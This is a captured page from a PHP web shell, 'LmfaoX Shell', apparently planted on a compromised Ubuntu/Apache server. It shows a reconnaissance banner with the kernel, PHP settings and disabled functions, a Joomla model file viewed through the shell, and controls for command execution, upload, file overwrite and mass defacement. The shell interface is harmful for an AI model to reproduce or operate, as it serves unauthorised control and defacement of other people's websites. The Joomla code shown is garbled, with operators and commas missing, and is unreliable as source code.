ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.91 GB of 70.42 GB (35.37%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ yalagina/ components/ com_content/ models/ - drwxr-xr-x

Directory:
Viewing file:     categories.php (3.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @copyright    Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license        GNU General Public License version 2 or later; see LICENSE.txt
 */

// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die;

jimport('joomla.application.component.model');

/**
 * This models supports retrieving lists of article categories.
 *
 * @package        Joomla.Site
 * @subpackage    com_content
 * @since        1.6
 */
class ContentModelCategories extends JModel
{
    
/**
     * Model context string.
     *
     * @var        string
     */
    
public $_context 'com_content.categories';

    
/**
     * The category context (allows other extensions to derived from this model).
     *
     * @var        string
     */
    
protected $_extension 'com_content';

    private 
$_parent null;

    private 
$_items null;

    
/**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @since    1.6
     */
    
protected function populateState()
    {
        
$app JFactory::getApplication();
        
$this->setState('filter.extension'$this->_extension);

        
// Get the parent id if defined.
        
$parentId JRequest::getInt('id');
        
$this->setState('filter.parentId'$parentId);

        
$params $app->getParams();
        
$this->setState('params'$params);

        
$this->setState('filter.published',    1);
        
$this->setState('filter.access',    true);
    }

    
/**
     * Method to get a store id based on model configuration state.
     *
     * This is necessary because the model is used by the component and
     * different modules that might need different sets of data or different
     * ordering requirements.
     *
     * @param    string        $id    A prefix for the store id.
     *
     * @return    string        A store id.
     */
    
protected function getStoreId($id '')
    {
        
// Compile the store id.
        
$id    .= ':'.$this->getState('filter.extension');
        
$id    .= ':'.$this->getState('filter.published');
        
$id    .= ':'.$this->getState('filter.access');
        
$id    .= ':'.$this->getState('filter.parentId');

        return 
parent::getStoreId($id);
    }

    
/**
     * Redefine the function an add some properties to make the styling more easy
     *
     * @param    bool    $recursive    True if you want to return children recursively.
     *
     * @return    mixed    An array of data items on success, false on failure.
     * @since    1.6
     */
    
public function getItems($recursive false)
    {
        if (!
count($this->_items)) {
            
$app JFactory::getApplication();
            
$menu $app->getMenu();
            
$active $menu->getActive();
            
$params = new JRegistry();

            if (
$active) {
                
$params->loadString($active->params);
            }

            
$options = array();
            
$options['countItems'] = $params->get('show_cat_num_articles_cat'1) || !$params->get('show_empty_categories_cat'0);
            
$categories JCategories::getInstance('Content'$options);
            
$this->_parent $categories->get($this->getState('filter.parentId''root'));

            if (
is_object($this->_parent)) {
                
$this->_items $this->_parent->getChildren($recursive);
            }
            else {
                
$this->_items false;
            }
        }

        return 
$this->_items;
    }

    public function 
getParent()
    {
        if (!
is_object($this->_parent)) {
            
$this->getItems();
        }

        return 
$this->_parent;
    }
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2941 seconds